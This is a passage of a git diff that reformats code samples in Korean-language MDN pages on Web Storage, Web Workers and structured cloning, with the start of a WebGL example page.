+    storage.setItem(x, x);
+    storage.removeItem(x);
+    return true;
+  } catch (e) {
+    return (
+      e instanceof DOMException &&
+      // Firefox를 제외한 모든 브라우저
+      (e.code === 22 ||
+        // Firefox
+        e.code === 1014 ||
+        // 코드가 존재하지 않을 수도 있기 떄문에 이름 필드도 확인합니다.
+        // Firefox를 제외한 모든 브라우저
+        e.name === "QuotaExceededError" ||
+        // Firefox
+        e.name === "NS_ERROR_DOM_QUOTA_REACHED") &&
+      // 이미 저장된 것이있는 경우에만 QuotaExceededError를 확인하십시오.
+      storage &&
+      storage.length !== 0
+    );
+  }
 }
 ```
 
 위 함수를 다음과 같이 사용할 수 있습니다.
 
 ```js
-if (storageAvailable('localStorage')) {
+if (storageAvailable("localStorage")) {
   // 야호! 우리는 localStorage를 사용할 수 있습니다.
-}
-else {
+} else {
   // 슬픈 소식, localStorage를 사용할 수 없습니다.
 }
 ```
@@ -97,7 +99,7 @@ We have also provided an [event output page](https://mdn.github.io/dom-examples/
 To start with on [main.js](https://github.com/mdn/dom-examples/blob/master/web-storage/main.js), we will test whether the storage object has already been populated (i.e., the page was previously accessed):
 
 ```js
-if(!localStorage.getItem('bgcolor')) {
+if (!localStorage.getItem("bgcolor")) {
   populateStorage();
 } else {
   setStyles();
@@ -114,17 +116,17 @@ As noted above, values can be retrieved from storage using {{domxref("Storage.ge
 
 ```js
 function setStyles() {
-  var currentColor = localStorage.getItem('bgcolor');
-  var currentFont = localStorage.getItem('font');
-  var currentImage = localStorage.getItem('image');
+  var currentColor = localStorage.getItem("bgcolor");
+  var currentFont = localStorage.getItem("font");
+  var currentImage = localStorage.getItem("image");
 
-  document.getElementById('bgcolor').value = currentColor;
-  document.getElementById('font').value = currentFont;
-  document.getElementById('image').value = currentImage;
+  document.getElementById("bgcolor").value = currentColor;
+  document.getElementById("font").value = currentFont;
+  document.getElementById("image").value = currentImage;
 
-  htmlElem.style.backgroundColor = '#' + currentColor;
+  htmlElem.style.backgroundColor = "#" + currentColor;
   pElem.style.fontFamily = currentFont;
-  imgElem.setAttribute('src', currentImage);
+  imgElem.setAttribute("src", currentImage);
 }
 ```
 
@@ -136,9 +138,9 @@ Here, the first three lines grab the values from local storage. Next, we set the
 
 ```js
 function populateStorage() {
-  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
-  localStorage.setItem('font', document.getElementById('font').value);
-  localStorage.setItem('image', document.getElementById('image').value);
+  localStorage.setItem("bgcolor", document.getElementById("bgcolor").value);
+  localStorage.setItem("font", document.getElementById("font").value);
+  localStorage.setItem("image", document.getElementById("image").value);
 
   setStyles();
 }
@@ -161,12 +163,14 @@ The {{domxref("StorageEvent")}} is fired whenever a change is made to the {{domx
 On the events page (see [events.js](https://github.com/mdn/dom-examples/blob/master/web-storage/event.js)) the only JavaScript is as follows:
 
 ```js
-window.addEventListener('storage', function(e) {
-  document.querySelector('.my-key').textContent = e.key;
-  document.querySelector('.my-old').textContent = e.oldValue;
-  document.querySelector('.my-new').textContent = e.newValue;
-  document.querySelector('.my-url').textContent = e.url;
-  document.querySelector('.my-storage').textContent = JSON.stringify(e.storageArea);
+window.addEventListener("storage", function (e) {
+  document.querySelector(".my-key").textContent = e.key;
+  document.querySelector(".my-old").textContent = e.oldValue;
+  document.querySelector(".my-new").textContent = e.newValue;
+  document.querySelector(".my-url").textContent = e.url;
+  document.querySelector(".my-storage").textContent = JSON.stringify(
+    e.storageArea,
+  );
 });
 ```
 
diff --git a/files/ko/web/api/web_workers_api/structured_clone_algorithm/index.md b/files/ko/web/api/web_workers_api/structured_clone_algorithm/index.md
index 3afb15a535dc62..8ec2c93a58d5cf 100644
--- a/files/ko/web/api/web_workers_api/structured_clone_algorithm/index.md
+++ b/files/ko/web/api/web_workers_api/structured_clone_algorithm/index.md
@@ -35,12 +35,12 @@ JSON을 뛰어넘는 structured clone알고리즘의 여러가지 핵심 이득
 | String object                                                                   |                                                                                                                     |
 | [Date](/ko/docs/Web/JavaScript/Reference/Global_Objects/Date)                   |                                                                                                                     |
 | [RegExp](/ko/docs/Web/JavaScript/Reference/Global_Objects/RegExp)               | lastIndex필드는 보존되지 않습니다.                                                                                  |
-| {{ domxref("Blob") }}                                                    |                                                                                                                     |
-| {{ domxref("File") }}                                                    |                                                                                                                     |
-| {{ domxref("FileList") }}                                                |                                                                                                                     |
+| {{ domxref("Blob") }}                                                           |                                                                                                                     |
+| {{ domxref("File") }}                                                           |                                                                                                                     |
+| {{ domxref("FileList") }}                                                       |                                                                                                                     |
 | [ArrayBuffer](/ko/docs/Web/API/ArrayBuffer)                                     |                                                                                                                     |
 | [ArrayBufferView](/ko/docs/Web/API/ArrayBufferView)                             | 이것은 기본적으로 int32Array나 기타같은 [typed arrays](/ko/docs/Web/JavaScript/Typed_arrays)의 모든것을 의미합니다. |
-| {{ domxref("ImageData") }}                                            |                                                                                                                     |
+| {{ domxref("ImageData") }}                                                      |                                                                                                                     |
 | [Array](/ko/docs/Web/JavaScript/Reference/Global_Objects/Array)                 |                                                                                                                     |
 | [Object](/ko/docs/Web/JavaScript/Reference/Global_Objects/Object)               | 이것은 그냥 plain객체들을 포함합니다.(e.g. 객체 리터럴)                                                             |
 | [Map](/ko/docs/Web/JavaScript/Reference/Global_Objects/Map)                     |                                                                                                                     |
diff --git a/files/ko/web/api/web_workers_api/using_web_workers/index.md b/files/ko/web/api/web_workers_api/using_web_workers/index.md
index 728fcc8b59bc82..31f32cb1598c37 100644
--- a/files/ko/web/api/web_workers_api/using_web_workers/index.md
+++ b/files/ko/web/api/web_workers_api/using_web_workers/index.md
@@ -51,15 +51,15 @@ var myWorker = new Worker("worker.js");
 The magic of workers happens via the {{domxref("Worker.postMessage", "postMessage()")}} method and the {{domxref("Worker.onmessage", "onmessage")}} event handler. When you want to send a message to the worker, you post messages to it like this ([main.js](https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js)):
 
 ```js
-first.onchange = function() {
-  myWorker.postMessage([first.value,second.value]);
-  console.log('Message posted to worker');
-}
+first.onchange = function () {
+  myWorker.postMessage([first.value, second.value]);
+  console.log("Message posted to worker");
+};
 
-second.onchange = function() {
-  myWorker.postMessage([first.value,second.value]);
-  console.log('Message posted to worker');
-}
+second.onchange = function () {
+  myWorker.postMessage([first.value, second.value]);
+  console.log("Message posted to worker");
+};
 ```
 
 So here we have two {{htmlelement("input")}} elements represented by the variables `first` and `second`; when the value of either is changed, `myWorker.postMessage([first.value,second.value])` is used to send the value inside both to the worker, as an array. You can send pretty much anything you like in the message.
@@ -67,12 +67,12 @@ So here we have two {{htmlelement("input")}} elements represented by the variabl
 In the worker, we can respond when the message is received by writing an event handler block like this ([worker.js](https://github.com/mdn/simple-web-worker/blob/gh-pages/worker.js)):
 
 ```js
-onmessage = function(e) {
-  console.log('Message received from main script');
-  var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
-  console.log('Posting message back to main script');
+onmessage = function (e) {
+  console.log("Message received from main script");
+  var workerResult = "Result: " + e.data[0] * e.data[1];
+  console.log("Posting message back to main script");
   postMessage(workerResult);
-}
+};
 ```
 
 The `onmessage` handler allows us to run some code whenever a message is received, with the message itself being available in the `message` event's `data` attribute. Here we simply multiply together the two numbers then use `postMessage()` again, to post the result back to the main thread.
@@ -80,10 +80,10 @@ The `onmessage` handler allows us to run some code whenever a message is receive
 Back in the main thread, we use `onmessage` again, to respond to the message sent back from the worker:
 
 ```js
-myWorker.onmessage = function(e) {
+myWorker.onmessage = function (e) {
   result.textContent = e.data;
-  console.log('Message received from worker');
-}
+  console.log("Message received from worker");
+};
 ```
 
 Here we grab the message event data and set it as the `textContent` of the result paragraph, so the user can see the result of the calculation.
@@ -132,10 +132,12 @@ Workers may spawn more workers if they wish. So-called sub-workers must be hoste
 Worker threads have access to a global function, `importScripts()`, which lets them import scripts. It accepts zero or more URIs as parameters to resources to import; all of the following examples are valid:
 
 ```js
-importScripts();                         /* imports nothing */
-importScripts('foo.js');                 /* imports just "foo.js" */
-importScripts('foo.js', 'bar.js');       /* imports two scripts */
-importScripts('//example.com/hello.js'); /* You can import scripts from other origins */
+importScripts(); /* imports nothing */
+importScripts("foo.js"); /* imports just "foo.js" */
+importScripts("foo.js", "bar.js"); /* imports two scripts */
+importScripts(
+  "//example.com/hello.js",
+); /* You can import scripts from other origins */
 ```
 
 The browser loads each listed script and executes it. Any global objects from each script may then be used by the worker. If the script can't be loaded, `NETWORK_ERROR` is thrown, and subsequent code will not be executed. Previously executed code (including code deferred using {{domxref("window.setTimeout()")}}) will still be functional though. Function declarations **after** the `importScripts()`method are also kept, since these are always evaluated before the rest of the code.
@@ -167,7 +169,7 @@ The port connection needs to be started either implicitly by use of the `onmessa
 When using the `start()` method to open the port connection, it needs to be called from both the parent thread and the worker thread if two-way communication is needed.
 
 ```js
-myWorker.port.start();  // called in parent thread
+myWorker.port.start(); // called in parent thread
 ```
 
 ```js
@@ -179,23 +181,23 @@ port.start(); // called in worker thread, assuming the port variable references
 Now messages can be sent to the worker as before, but the `postMessage()` method has to be invoked through the port object (again, you'll see similar constructs in both [multiply.js](https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js) and [square.js](https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js)):
 
 ```js
-squareNumber.onchange = function() {
-  myWorker.port.postMessage([squareNumber.value,squareNumber.value]);
-  console.log('Message posted to worker');
-}
+squareNumber.onchange = function () {
+  myWorker.port.postMessage([squareNumber.value, squareNumber.value]);
+  console.log("Message posted to worker");
+};
 ```
 
 Now, on to the worker. There is a bit more complexity here as well ([worker.js](https://github.com/mdn/simple-shared-worker/blob/gh-pages/worker.js)):
 
 ```js
-onconnect = function(e) {
+onconnect = function (e) {
   var port = e.ports[0];
 
-  port.onmessage = function(e) {
-    var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+  port.onmessage = function (e) {
+    var workerResult = "Result: " + e.data[0] * e.data[1];
     port.postMessage(workerResult);
-  }
-}
+  };
+};
 ```
 
 First, we use an `onconnect` handler to fire code when a connection to the port happens (i.e. when the `onmessage` event handler in the parent thread is setup, or when the `start()` method is explicitly called in the parent thread).
@@ -207,17 +209,17 @@ Next, we add a `message` handler on the port to do the calculation and return th
 Finally, back in the main script, we deal with the message (again, you'll see similar constructs in both [multiply.js](https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js) and [square.js](https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js)):
 
 ```js
-myWorker.port.onmessage = function(e) {
+myWorker.port.onmessage = function (e) {
   result2.textContent = e.data;
-  console.log('Message received from worker');
-}
+  console.log("Message received from worker");
+};
 ```
 
 When a message comes back through the port from the worker, we check what result type it is, then insert the calculation result inside the appropriate result paragraph.
 
 ## About thread safety
 
-The {{domxref("Worker")}} interface spawns real OS-level threads, and mindful programmers may be concerned that concurrency can cause “interesting” effects in your code if you aren't careful.
+The {{domxref("Worker")}} interface spawns real OS-level threads, and mindful programmers may be concerned that concurrency can cause "interesting" effects in your code if you aren't careful.
 
 However, since web workers have carefully controlled communication points with other threads, it's actually very hard to cause concurrency problems. There's no access to non-threadsafe components or the DOM. And you have to pass specific data in and out of a thread through serialized objects. So you have to work really hard to cause problems in your code.
 
@@ -229,7 +231,7 @@ Workers are considered to have their own execution context, distinct from the do
 Content-Security-Policy: script-src 'self'
 ```
 
-Among other things, this will prevent any scripts it includes from using [`eval()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval). However, if the script constructs a worker, code running in the worker's context _will_ be allowed to use `eval()`.
+Among other things, this will prevent any scripts it includes from using [`eval()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/eval). However, if the script constructs a worker, code running in the worker's context _will_ be allowed to use `eval()`.
 
 To specify a content security policy for the worker, set a [Content-Security-Policy](/ko/docs/Web/HTTP/Headers/Content-Security-Policy) response header for the request which delivered the worker script itself.
 
@@ -242,8 +244,8 @@ Data passed between the main page and workers is **copied**, not shared. Objects
 To illustrate this, let's create for didactical purpose a function named `emulateMessage()`, which will simulate the behavior of a value that is _cloned and not shared_ during the passage from a `worker` to the main page or vice versa:
 
 ```js
-function emulateMessage (vVal) {
-    return eval("(" + JSON.stringify(vVal) + ")");
+function emulateMessage(vVal) {
+  return eval("(" + JSON.stringify(vVal) + ")");
 }
 
 // Tests
@@ -265,16 +267,16 @@ console.log(typeof emulateMessage(example3)); // string
 
 // test #4
 var example4 = {
-    "name": "John Smith",
-    "age": 43
+  name: "John Smith",
+  age: 43,
 };
 console.log(typeof example4); // object
 console.log(typeof emulateMessage(example4)); // object
 
 // test #5
-function Animal (sType, nAge) {
-    this.type = sType;
-    this.age = nAge;
+function Animal(sType, nAge) {
+  this.type = sType;
+  this.age = nAge;
 }
 var example5 = new Animal("Cat", 3);
 alert(example5.constructor); // Animal
@@ -298,7 +300,7 @@ myWorker.postMessage("ali");
 **my_task.js** (the worker):
 
 ```js
-postMessage("I\'m working before postMessage(\'ali\').");
+postMessage("I'm working before postMessage('ali').");
 
 onmessage = function (oEvent) {
   postMessage("Hi " + oEvent.data);
@@ -317,18 +319,23 @@ The following example shows how to use a worker in order to **asynchronously** e
 // Syntax: asyncEval(code[, listener])
 
 var asyncEval = (function () {
-  var aListeners = [], oParser = new Worker("data:text/javascript;charset=US-ASCII,onmessage%20%3D%20function%20%28oEvent%29%20%7B%0A%09postMessage%28%7B%0A%09%09%22id%22%3A%20oEvent.data.id%2C%0A%09%09%22evaluated%22%3A%20eval%28oEvent.data.code%29%0A%09%7D%29%3B%0A%7D");
+  var aListeners = [],
+    oParser = new Worker(
+      "data:text/javascript;charset=US-ASCII,onmessage%20%3D%20function%20%28oEvent%29%20%7B%0A%09postMessage%28%7B%0A%09%09%22id%22%3A%20oEvent.data.id%2C%0A%09%09%22evaluated%22%3A%20eval%28oEvent.data.code%29%0A%09%7D%29%3B%0A%7D",
+    );
 
   oParser.onmessage = function (oEvent) {
-    if (aListeners[oEvent.data.id]) { aListeners[oEvent.data.id](oEvent.data.evaluated); }
+    if (aListeners[oEvent.data.id]) {
+      aListeners[oEvent.data.id](oEvent.data.evaluated);
+    }
     delete aListeners[oEvent.data.id];
   };
 
   return function (sCode, fListener) {
     aListeners.push(fListener || null);
     oParser.postMessage({
-      "id": aListeners.length - 1,
-      "code": sCode
+      id: aListeners.length - 1,
+      code: sCode,
     });
   };
 })();
@@ -339,10 +346,10 @@ The [data URL](/ko/docs/Web/HTTP/data_URIs) is equivalent to a network request,
 ```js
 onmessage = function (oEvent) {
   postMessage({
-    "id": oEvent.data.id,
-    "evaluated": eval(oEvent.data.code)
+    id: oEvent.data.id,
+    evaluated: eval(oEvent.data.code),
   });
-}
+};
 ```
 
 Sample usage:
@@ -350,16 +357,18 @@ Sample usage:
 ```js
 // asynchronous alert message...
 asyncEval("3 + 2", function (sMessage) {
-    alert("3 + 2 = " + sMessage);
+  alert("3 + 2 = " + sMessage);
 });
 
 // asynchronous print message...
-asyncEval("\"Hello World!!!\"", function (sHTML) {
-    document.body.appendChild(document.createTextNode(sHTML));
+asyncEval('"Hello World!!!"', function (sHTML) {
+  document.body.appendChild(document.createTextNode(sHTML));
 });
 
 // asynchronous void...
-asyncEval("(function () {\n\tvar oReq = new XMLHttpRequest();\n\toReq.open(\"get\", \"http://www.mozilla.org/\", false);\n\toReq.send(null);\n\treturn oReq.responseText;\n})()");
+asyncEval(
+  '(function () {\n\tvar oReq = new XMLHttpRequest();\n\toReq.open("get", "http://www.mozilla.org/", false);\n\toReq.send(null);\n\treturn oReq.responseText;\n})()',
+);
 ```
 
 #### Example #2: Advanced passing JSON Data and creating a switching system
@@ -369,35 +378,37 @@ If you have to pass some complex data and have to call many different functions
 First, we create a QueryableWorker class that takes the url of the worker, a default listener, and an error handler, and this class is gonna keep track of a list of listeners and help us communicate wirh the worker:
 
 ```js
-function QueryableWorker(url, defaultListener, onError){
-    var instance = this,
-        worker = new Worker(url),
-        listeners = {};
+function QueryableWorker(url, defaultListener, onError) {
+  var instance = this,
+    worker = new Worker(url),
+    listeners = {};
 
-    this.defaultListener = defaultListener || function(){};
+  this.defaultListener = defaultListener || function () {};
 
-    if (onError) {worker.onerror = onError;}
+  if (onError) {
+    worker.onerror = onError;
+  }
 
-    this.postMessage = function(message){
-        worker.postMessage(message);
-    }
+  this.postMessage = function (message) {
+    worker.postMessage(message);
+  };
 
-    this.terminate = function(){
-        worker.terminate();
-    }
+  this.terminate = function () {
+    worker.terminate();
+  };
 }
 ```
 
 Then we add the methods of adding/removing listeners:
 
 ```js
-this.addListeners = function(name, listener){
-    listeners[name] = listener;
-}
+this.addListeners = function (name, listener) {
+  listeners[name] = listener;
+};
 
-this.removeListeners = function(name){
-    delete listeners[name];
-}
+this.removeListeners = function (name) {
+  delete listeners[name];
+};
 ```
 
 Here we let the worker handle two simple operations for illuatration: getting the difference of two numbers and making an alert after three seconds. In order to acheieve that we first implement a sendQuery method which queries if the worker actually has the corresponding methods to do what we want.
@@ -407,76 +418,87 @@ Here we let the worker handle two simple operations for illuatration: getting th
   This functions takes at least one argument, the method name we want to query.
   Then we can pass in the arguments that the method needs.
  */
-this.sendQuery = function(){
-    if (arguments.length < 1){
-         throw new TypeError("QueryableWorker.sendQuery takes at least one argument");
-         return;
-    }
-    worker.postMessage({
-        "queryMethod": arguments[0],
-        "queryArguments": Array.prototype.slice.call(arguments, 1)
-    });
-}
+this.sendQuery = function () {
+  if (arguments.length < 1) {
+    throw new TypeError(
+      "QueryableWorker.sendQuery takes at least one argument",
+    );
+    return;
+  }
+  worker.postMessage({
+    queryMethod: arguments[0],
+    queryArguments: Array.prototype.slice.call(arguments, 1),
+  });
+};
 ```
 
 We finish QueryableWorker with the `onmessage` method. If the worker has the corresponding methods we queried, it should return the name of the corresponding listener and the arguments it needs, we just need to find it in `listeners`.:
 
 ```js
-worker.onmessage = function(event){
-    if (event.data instanceof Object &&
-        event.data.hasOwnProperty("queryMethodListener") &&
-        event.data.hasOwnProperty("queryMethodArguments")){
-        listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
-    } else {
-        this.defaultListener.call(instance, event.data);
-    }
-}
+worker.onmessage = function (event) {
+  if (
+    event.data instanceof Object &&
+    event.data.hasOwnProperty("queryMethodListener") &&
+    event.data.hasOwnProperty("queryMethodArguments")
+  ) {
+    listeners[event.data.queryMethodListener].apply(
+      instance,
+      event.data.queryMethodArguments,
+    );
+  } else {
+    this.defaultListener.call(instance, event.data);
+  }
+};
 ```
 
 Now onto the worker. First we need to have the methods to handle the two simple operations:
 
 ```js
 var queryableFunctions = {
-    getDifference: function(a, b){
-        reply("printStuff", a - b);
-    },
-    waitSomeTime: function(){
-        setTimeout(function(){
-            reply("doAlert", 3, "seconds");
-        }, 3000);
-    }
-}
+  getDifference: function (a, b) {
+    reply("printStuff", a - b);
+  },
+  waitSomeTime: function () {
+    setTimeout(function () {
+      reply("doAlert", 3, "seconds");
+    }, 3000);
+  },
+};
 
-function reply(){
-    if (arguments.length < 1) {
-        throw new TypeError("reply - takes at least one argument");
-        return;
-    }
-    postMessage({
-        queryMethodListener: arguments[0],
-        queryMethodArguments: Array.prototype.slice.call(arguments, 1)
-    });
+function reply() {
+  if (arguments.length < 1) {
+    throw new TypeError("reply - takes at least one argument");
+    return;
+  }
+  postMessage({
+    queryMethodListener: arguments[0],
+    queryMethodArguments: Array.prototype.slice.call(arguments, 1),
+  });
 }
 
 /* This method is called when main page calls QueryWorker's postMessage method directly*/
-function defaultReply(message){
-    // do something
+function defaultReply(message) {
+  // do something
 }
 ```
 
 And the `onmessage` method is now trivial:
 
 ```js
-onmessage = function(event){
-    if (event.data instanceof Object &&
-        event.data.hasOwnProperty("queryMethod") &&
-        event.data.hasOwnProperty("queryMethodArguments")){
-        queryableFunctions[event.data.queryMethod]
-            .apply(self, event.data.queryMethodArguments);
-    } else {
-        defaultReply(event.data);
-    }
-}
+onmessage = function (event) {
+  if (
+    event.data instanceof Object &&
+    event.data.hasOwnProperty("queryMethod") &&
+    event.data.hasOwnProperty("queryMethodArguments")
+  ) {
+    queryableFunctions[event.data.queryMethod].apply(
+      self,
+      event.data.queryMethodArguments,
+    );
+  } else {
+    defaultReply(event.data);
+  }
+};
 ```
 
 Here are the full implementation:
@@ -485,12 +507,12 @@ Here are the full implementation:
 
 ```html
 <!doctype html>
-  <html>
-    <head>
-      <meta charset="UTF-8"  />
-      <title>MDN Example - Queryable worker</title>
+<html>
+  <head>
+    <meta charset="UTF-8" />
+    <title>MDN Example - Queryable worker</title>
     <script type="text/javascript">
-    /*
+      /*
       QueryableWorker instances methods:
         * sendQuery(queryable function name, argument to pass 1, argument to pass 2, etc. etc): calls a Worker's queryable function
         * postMessage(string or JSON Data): see Worker.prototype.postMessage()
@@ -500,62 +522,85 @@ Here are the full implementation:
       QueryableWorker instances properties:
         * defaultListener: the default listener executed only when the Worker calls the postMessage() function directly
      */
-    function QueryableWorker(url, defaultListener, onError){
-      var instance = this,
-      worker = new Worker(url),
-      listeners = {};
-
-      this.defaultListener = defaultListener || function(){};
-
-      if (onError) {worker.onerror = onError;}
-
-      this.postMessage = function(message){
-        worker.postMessage(message);
-      }
-
-      this.terminate = function(){
-        worker.terminate();
-      }
-
-      this.addListeners = function(name, listener){
-        listeners[name] = listener;
-      }
+      function QueryableWorker(url, defaultListener, onError) {
+        var instance = this,
+          worker = new Worker(url),
+          listeners = {};
 
-      this.removeListeners = function(name){
-        delete listeners[name];
-      }
+        this.defaultListener = defaultListener || function () {};
 
-      worker.onmessage = function(event){
-        if (event.data instanceof Object &&
-          event.data.hasOwnProperty("queryMethodListener") &&
-          event.data.hasOwnProperty("queryMethodArguments")){
-          listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
-        } else {
-          this.defaultListener.call(instance, event.data);
+        if (onError) {
+          worker.onerror = onError;
         }
-      }
-    }
 
-    // your custom "queryable" worker
-    var myTask = new QueryableWorker("my_task.js");
-
-    // your custom "listeners"
-    myTask.addListener("printStuff", function (result) {
-      document.getElementById("firstLink").parentNode.appendChild(document.createTextNode(" The difference is " + result + "!"));
-    });
+        this.postMessage = function (message) {
+          worker.postMessage(message);
+        };
+
+        this.terminate = function () {
+          worker.terminate();
+        };
+
+        this.addListeners = function (name, listener) {
+          listeners[name] = listener;
+        };
+
+        this.removeListeners = function (name) {
+          delete listeners[name];
+        };
+
+        worker.onmessage = function (event) {
+          if (
+            event.data instanceof Object &&
+            event.data.hasOwnProperty("queryMethodListener") &&
+            event.data.hasOwnProperty("queryMethodArguments")
+          ) {
+            listeners[event.data.queryMethodListener].apply(
+              instance,
+              event.data.queryMethodArguments,
+            );
+          } else {
+            this.defaultListener.call(instance, event.data);
+          }
+        };
+      }
 
-    myTask.addListener("doAlert", function (time, unit) {
-      alert("Worker waited for " + time + " " + unit + " :-)");
-    });
-</script>
-</head>
-<body>
-  <ul>
-    <li><a id="firstLink" href="javascript:myTask.sendQuery('getDifference', 5, 3);">What is the difference between 5 and 3?</a></li>
-    <li><a href="javascript:myTask.sendQuery('waitSomeTime');">Wait 3 seconds</a></li>
-    <li><a href="javascript:myTask.terminate();">terminate() the Worker</a></li>
-  </ul>
-</body>
+      // your custom "queryable" worker
+      var myTask = new QueryableWorker("my_task.js");
+
+      // your custom "listeners"
+      myTask.addListener("printStuff", function (result) {
+        document
+          .getElementById("firstLink")
+          .parentNode.appendChild(
+            document.createTextNode(" The difference is " + result + "!"),
+          );
+      });
+
+      myTask.addListener("doAlert", function (time, unit) {
+        alert("Worker waited for " + time + " " + unit + " :-)");
+      });
+    </script>
+  </head>
+  <body>
+    <ul>
+      <li>
+        <a
+          id="firstLink"
+          href="javascript:myTask.sendQuery('getDifference', 5, 3);"
+          >What is the difference between 5 and 3?</a
+        >
+      </li>
+      <li>
+        <a href="javascript:myTask.sendQuery('waitSomeTime');"
+          >Wait 3 seconds</a
+        >
+      </li>
+      <li>
+        <a href="javascript:myTask.terminate();">terminate() the Worker</a>
+      </li>
+    </ul>
+  </body>
 </html>
 ```
 
@@ -565,29 +610,44 @@ Here are the full implementation:
 var queryableFunctions = {
   // example #1: get the difference between two numbers:
   getDifference: function (nMinuend, nSubtrahend) {
-      reply("printSomething", nMinuend - nSubtrahend);
+    reply("printSomething", nMinuend - nSubtrahend);
   },
   // example #2: wait three seconds
   waitSomeTime: function () {
-      setTimeout(function() { reply("doAlert", 3, "seconds"); }, 3000);
-  }
+    setTimeout(function () {
+      reply("doAlert", 3, "seconds");
+    }, 3000);
+  },
 };
 
 // system functions
 
-function defaultReply (message) {
+function defaultReply(message) {
   // your default PUBLIC function executed only when main page calls the queryableWorker.postMessage() method directly
   // do something
 }
 
-function reply () {
-  if (arguments.length < 1) { throw new TypeError("reply - not enough arguments"); return; }
-  postMessage({ "queryMethodListener": arguments[0], "queryMethodArguments": Array.prototype.slice.call(arguments, 1) });
+function reply() {
+  if (arguments.length < 1) {
+    throw new TypeError("reply - not enough arguments");
+    return;
+  }
+  postMessage({
+    queryMethodListener: arguments[0],
+    queryMethodArguments: Array.prototype.slice.call(arguments, 1),
+  });
 }
 
 onmessage = function (oEvent) {
-  if (oEvent.data instanceof Object && oEvent.data.hasOwnProperty("queryMethod") && oEvent.data.hasOwnProperty("queryMethodArguments")) {
-    queryableFunctions[oEvent.data.queryMethod].apply(self, oEvent.data.queryMethodArguments);
+  if (
+    oEvent.data instanceof Object &&
+    oEvent.data.hasOwnProperty("queryMethod") &&
+    oEvent.data.hasOwnProperty("queryMethodArguments")
+  ) {
+    queryableFunctions[oEvent.data.queryMethod].apply(
+      self,
+      oEvent.data.queryMethodArguments,
+    );
   } else {
     defaultReply(oEvent.data);
   }
@@ -602,7 +662,7 @@ Google Chrome 17+ and Firefox 18+ contain an additional way to pass certain type
 
 ```js
 // Create a 32MB "file" and fill it.
-var uInt8Array = new Uint8Array(1024*1024*32); // 32MB
+var uInt8Array = new Uint8Array(1024 * 1024 * 32); // 32MB
 for (var i = 0; i < uInt8Array.length; ++i) {
   uInt8Array[i] = i;
 }
@@ -673,8 +733,10 @@ It is also worth noting that you can also convert a function into a Blob, then g
 
 ```js
 function fn2workerURL(fn) {
-  var blob = new Blob(['('+fn.toString()+')()'], {type: 'application/javascript'})
-  return URL.createObjectURL(blob)
+  var blob = new Blob(["(" + fn.toString() + ")()"], {
+    type: "application/javascript",
+  });
+  return URL.createObjectURL(blob);
 }
 ```
 
@@ -704,7 +766,7 @@ function errorReceiver(event) {
   throw event.data;
 }
 
-onmessage = function(event) {
+onmessage = function (event) {
   var n = parseInt(event.data);
 
   if (n == 0 || n == 1) {
@@ -718,7 +780,7 @@ onmessage = function(event) {
     worker.onerror = errorReceiver;
     worker.postMessage(n - i);
   }
- };
+};
 ```
 
 The worker sets the property `onmessage` to a function which will receive messages sent when the worker object's `postMessage()` is called (note that this differs from defining a global _variable_ of that name, or defining a _function_ with that name. `var onmessage` and `function onmessage` will define global properties with those names, but they will not register the function to receive messages sent by the web page that created the worker). This starts the recursion, spawning new copies of itself to handle each iteration of the calculation.
@@ -726,33 +788,30 @@ The worker sets the property `onmessage` to a function which will receive messag
 #### The HTML code
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
-    <meta charset="UTF-8"  />
+    <meta charset="UTF-8" />
     <title>Test threads fibonacci</title>
   </head>
   <body>
+    <div id="result"></div>
 
-  <div id="result"></div>
-
-  <script language="javascript">
-
-    var worker = new Worker("fibonacci.js");
-
-    worker.onmessage = function(event) {
-      document.getElementById("result").textContent = event.data;
-      dump("Got: " + event.data + "\n");
-    };
+    <script language="javascript">
+      var worker = new Worker("fibonacci.js");
 
-    worker.onerror = function(error) {
-      dump("Worker error: " + error.message + "\n");
-      throw error;
-    };
+      worker.onmessage = function (event) {
+        document.getElementById("result").textContent = event.data;
+        dump("Got: " + event.data + "\n");
+      };
 
-    worker.postMessage("5");
+      worker.onerror = function (error) {
+        dump("Worker error: " + error.message + "\n");
+        throw error;
+      };
 
-  </script>
+      worker.postMessage("5");
+    </script>
   </body>
 </html>
 ```
@@ -798,7 +857,7 @@ The main thing you _can't_ do in a Worker is directly affect the parent page. Th
 
 ## See also
 
-- [`Worker`](/en-US/docs/Web/API/Worker) interface
-- [`SharedWorker`](/en-US/docs/Web/API/SharedWorker) interface
+- [`Worker`](/ko/docs/Web/API/Worker) interface
+- [`SharedWorker`](/ko/docs/Web/API/SharedWorker) interface
 - [Functions available to workers](/ko/docs/Web/API/Worker/Functions_and_classes_available_to_workers)
 - [Advanced concepts and examples](/ko/docs/Web/API/Web_Workers_API/Using_web_workers)
diff --git a/files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.md b/files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.md
index b0aeb6884365fd..d310060e00a4b1 100644
--- a/files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.md
+++ b/files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.md
@@ -2,6 +2,7 @@
 title: 클릭을 통한 청소
 slug: Web/API/WebGL_API/By_example/Clearing_by_clicking
 ---
+
 {{PreviousNext("Learn/WebGL/By_example/Clearing_with_colors","Learn/WebGL/By_example/Simple_color_animation")}}
 
 어떻게 유저와 그래픽 기능들과의 상호작용을 결합시킬까. 유저가 클릭을 할 때 랜덤의 색을 가진 랜더링 컨텍스트를 청소하는 것.
@@ -15,86 +16,93 @@ slug: Web/API/WebGL_API/By_example/Clearing_by_clicking
 어떻게 내장된 {{Glossary("WebGL")}} 기능이 이벤트 핸들러의 내부를 부르는 지를 주목하세요.
 
 ```html
-<p>A very simple WebGL program that still shows some color and
-    user interaction.</p>
-<p>You can repeatedly click the empty canvas or the button below
-    to change color.</p>
-<canvas id="canvas-view">Your browser does not seem to support
